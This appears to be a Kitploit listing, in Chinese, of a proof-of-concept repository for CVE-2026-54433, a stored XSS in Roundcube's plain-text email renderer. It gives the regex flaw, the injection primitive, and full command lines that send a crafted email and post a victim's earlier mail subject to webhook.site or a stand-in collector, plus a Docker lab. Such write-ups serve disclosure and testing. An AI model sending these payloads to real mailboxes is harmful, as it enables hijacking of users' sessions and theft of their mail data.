Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-54433 — 可配置的 Python PoC,针对 CVE-2026-54433——Roundcube 纯文本邮件渲染器中的存储型 XSS 漏洞。可生成精心构造的 .eml 文件,通过 SMTP 发送,并在 Docker 实验室中验证影响。 | Kitploit
工具/GitHubGitHub/aramosf/cve-2026-54433
漏洞分析漏洞利用Web应用程序漏洞利用数据泄露Web安全渗透测试Payload 开发电子邮件安全实验室与实践
GitHubaramosf/cve-2026-54433

CVE-2026-54433

可配置的 Python PoC,针对 CVE-2026-54433——Roundcube 纯文本邮件渲染器中的存储型 XSS 漏洞。可生成精心构造的 .eml 文件,通过 SMTP 发送,并在 Docker 实验室中验证影响。

6天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

CVE-2026-54433:Roundcube 纯文本电子邮件存储型 XSS

漏洞利用执行演示

本仓库包含针对 CVE-2026-54433 的可配置 Python 概念验证代码,这是 Roundcube 纯文本电子邮件渲染器中的一个存储型跨站脚本漏洞。未经身份验证的发送者可以发送精心构造的 text/plain 消息。当已认证的 Roundcube 用户打开或预览该消息时,攻击者控制的 JavaScript 会在 Roundcube 源(origin)中执行。

该 PoC 演示了具体的已认证会话影响,且不收集 Cookie 或消息正文:它会读取一条较早消息的主题,并将该值、Roundcube 源以及任务名称作为 URL 编码的 POST 字段发送给经过授权的收集器。

警告

这是活跃的漏洞利用代码。请仅在您自有的实验环境中使用,或仅针对您被明确授权测试的系统与邮箱使用。发送模式会传输精心构造的电子邮件,并可能向收集器披露一条已存在的邮件主题。如需离线检查,请使用 --generate-only。

漏洞摘要

Roundcube 会将纯文本消息中的地址转换为可点击的 mailto: 链接。在受影响版本中,可选查询后缀使用 \S+ 进行匹配:

root@kitploit:~
. '(\?\S+)?'

由于 \S 包含 < 和 >,一个类似电子邮件地址开头的字符串可能会使自动链接替换消耗掉一个 HTML 开始标签,而剩余部分则被解释为标记。以下最小形式说明了这一原语:

root@kitploit:~
[email protected]?]

上游修复限制查询后缀,使其不能包含尖括号或空白字符:

root@kitploit:~
. '(\?[^<>\s]+)?'

厂商将该问题描述为“零点击”,因为无需点击链接。在已认证状态下打开或预览电子邮件,仍然是触发载荷渲染的邮件客户端操作。

受影响版本与已修复版本

发布线状态
Roundcube 1.6.17 之前的版本受影响
Roundcube 1.6.17 及之后的 1.6.x已修复
Roundcube 1.7.0 和 1.7.1受影响
Roundcube 1.7.2 及之后已修复

公开的修复提交为:

  • 1.7 版本线:5477e979aae0317e111564bfc9971ba7707cc165
  • 1.6 版本线:4c278f4868c67b163567cae3d74e58d872913459

请升级到 Roundcube 1.6.17 / 1.7.2 或更新的受支持版本。

前提条件与范围

  • 攻击者需要一种向受害者投递电子邮件的方式,但不需要 Roundcube 帐户、密码、插件访问权限或管理员访问权限。
  • 该消息必须由受影响的 Roundcube 版本渲染为 text/plain。
  • 受害者必须拥有一个已认证的 Roundcube 会话,并打开或预览该消息。
  • 不需要任何第三方 Roundcube 插件。
  • 正向 Docker 测试使用了 Roundcube 默认的 Elastic 皮肤。根本原语位于服务端纯文本转换中;此处并未声称其他皮肤已独立测试。
  • Roundcube 的“远程资源已被阻止”控件并未阻止所测试的原语:隐藏图片使用一个失败的相对 src 来触发 onerror。收集器回调仍然需要浏览器具备网络可达性。
  • Roundcube 的会话 Cookie 通常为 HttpOnly。此 PoC 不会尝试读取它。其同源请求会自动使用已认证会话,而来自另一条消息的主题即为影响证明。

所演示的结果是已认证的 JavaScript 执行,以及对一条较早电子邮件主题的读取权限。本仓库并不声称实现帐户接管、任意消息正文窃取或服务端代码执行。

PoC 行为

cve-2026-54433-poc.py 是自包含的,并且仅使用 Python 标准库。它:

  1. 构建一封精心构造的普通 RFC 5322 text/plain 电子邮件;
  2. 默认扫描当前 Roundcube 邮箱中最多 50 个较低 UID;
  3. 选择第一条不以 CVE-2026-54433 开头的较早主题;
  4. 将 subject、origin 和 task POST 到 /capture/<random-marker>;
  5. 从不读取 Cookie、凭据、消息正文或附件;
  6. 可选地使用普通 SMTP、STARTTLS 或隐式 TLS 提交电子邮件;
  7. 可选地轮询 Webhook.site 或兼容的 JSON 状态端点。

载荷会插入以下 DOM 注释:

root@kitploit:~
<!-- This is a BugBounty test; only one subject is copied as evidence -->

它还会隐藏自动链接的地址片段和图片损坏指示,同时显示调用者提供的无害正文。

离线生成

在不建立网络连接的情况下生成电子邮件:

root@kitploit:~
python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Account access problem' \
  --body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
  --collector https://collector.example.test \
  --generate-only

这将写入:

  • cve-2026-54433-trigger.eml
  • cve-2026-54433-evidence.json

在使用发送模式之前,请检查生成的消息。

使用 Webhook.site 进行经授权的 SMTP 测试

--collector 值可以是 Webhook.site UUID、捕获 URL 或 #!/view/ URL。脚本会据此推导出捕获端点和轮询端点。

root@kitploit:~
python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Account access problem' \
  --body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
  --collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
  --smtp-host smtp.example.com \
  --smtp-port 587 \
  --smtp-security starttls \
  --smtp-user [email protected]

如果 SMTP_PASSWORD 不存在,脚本会提示输入密码,且不会回显或存储该密码。可以使用 --smtp-password-env NAME 选择其他名称的变量。在多用户系统上请避免使用 --smtp-password,因为命令行参数可能会在进程列表或 shell 历史中可见。

脚本在发送前会要求明确输入 YES。在非交互式且已经过授权的实验室自动化中,请传入 --yes。默认情况下,它会等待回调最多 24 小时;可使用 --timeout SECONDS 更改这一时长。

对于非 Webhook.site 收集器,请传入捕获基础地址和可选的 JSON 状态端点:

root@kitploit:~
python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Authorized XSS test' \
  --collector https://collector.example.test \
  --poll-url https://collector.example.test/status \
  --smtp-host mail.example.test \
  --smtp-security starttls

随附的 collector.py 实现了兼容的 /capture/<marker> 和 /status 端点。它默认绑定到回环地址。真正的 HTTPS 部署和访问控制有意留给经授权的测试人员处理。

可复现的 Docker 实验环境

该实验环境不发布主机端口,且仅包含合成消息。它使用同一个 Python PoC 生成触发消息,将两条消息投递到一次性 Dovecot 邮箱中,通过一次性无头浏览器登录,并记录注入的处理程序是否读取了先前的主题。

要求:Docker、Python 3、OpenSSL 和 jq。

漏洞版本测试:

root@kitploit:~
./lab/run.sh

已修复版本对照:

root@kitploit:~
ROUNDCUBE_IMAGE=roundcube/roundcubemail:1.7.3-apache \
ROUNDCUBE_VERSION=1.7.3 EXPECTED_RESULT=NOT_CONFIRMED \
./lab/run.sh

如需视频或实时浏览器演示,请运行:

root@kitploit:~
./lab/demo.sh

它仅在回环地址上发布 Roundcube 和可视化收集器。打开脚本打印的两个 URL,显示初始为空的收集器,使用打印的合成凭据登录,点击触发邮件,然后返回收集器。捕获的合成主题会出现在自动刷新的表格中。按 Ctrl-C 可移除一次性容器和网络。

要录制浏览器交互和真实的 Webhook.site 回调,请使用可复现的录制器。它需要 Chrome、Xvfb、ffmpeg、Docker,以及通过环境提供的经授权的 Webhook.site 令牌:

root@kitploit:~
WEBHOOK_TOKEN='REPLACE-WITH-UUID' ./record-browser-demo.sh

生成的 MP4 显示可见的 Roundcube 触发行、带注释的鼠标点击,以及 Webhook.site 显示收到的合成主题。该令牌永远不会存储在源代码树中。

录制产物:assets/CVE-2026-54433-webhook-demo.mp4

录制内容包含一个可见的终端面板,显示仅生成模式的 Python 调用、其载荷生成输出、Roundcube 点击,以及由此产生的 Webhook.site 请求。

可视化演示还接受 COLLECTOR_URL 和 COLLECTOR_VIEW_URL;将两者都指向经授权的 Webhook.site 令牌,以显示真实收集器收到合成主题。不要重复使用包含无关请求的令牌。

复现结果

端到端对比于 2026-08-14 在 x86-64 Linux 上使用 Docker 运行:

正向回调正文(合成值,来源已脱敏):

root@kitploit:~
subject=Existing+private+subject+2026&origin=http%3A%2F%2Froundcube.example.test&task=mail

结构化、已脱敏的对比结果位于 docs/e2e-results.json。

验证发布目录树

离线检查会编译 Python 源码,生成一份全新的 .eml,并检查其 MIME 类型、载荷原语、可见正文、注释和元数据:

root@kitploit:~
./verify.sh

设置 RUN_DOCKER=1 以附加两个端到端 Docker 对照:

root@kitploit:~
RUN_DOCKER=1 ./verify.sh

公开漏洞利用搜索快照

2026-08-14 当天,针对 CVE-2026-54433 在 GitHub、Exploit-Database 和 Packet Storm 上进行的有针对性搜索,未找到经过验证、可配置且带有端到端受影响/已修复对比的邮件发送漏洞利用。厂商和漏洞数据库条目、扫描器模板讨论以及描述性文章当时已经存在。这只是一份带日期的搜索快照,并非声称不存在其他 PoC。

参考资料

  • Roundcube 安全版本公告
  • CVE-2026-54433 的 NVD 条目
  • Roundcube 1.7 修复提交
  • Roundcube 1.6 修复提交

漏洞发现:Bohdan Kurinnoy,三星乌克兰研发中心(SRUKR),Roundcube 已致谢。

研究、影响验证与漏洞利用实现:A. Ramos <[email protected]>(Twitter:@aramosf)。

关于

CVE-2026-54433 Roundcube 纯文本电子邮件存储型 XSS PoC,具备受限的已认证邮箱主题证据,以及一个受影响/已修复 Docker 实验环境。

下载工具
对照项镜像摘要注入的处理程序是否发送先前主题结果
Roundcube 1.7.1 Apachesha256:15866e72c583a7c0117c94d515c366946b20157569d65ef9c24dca6026663b1f存在 eval(name)是,URL 编码的 POSTCONFIRMED
Roundcube 1.7.3 Apachesha256:ddf0e11b5afdbbc615e1d43a1cc9743fc44423e6c21fc93f7dd5dfaa20289ad6不存在;标记已转义无回调NOT_CONFIRMED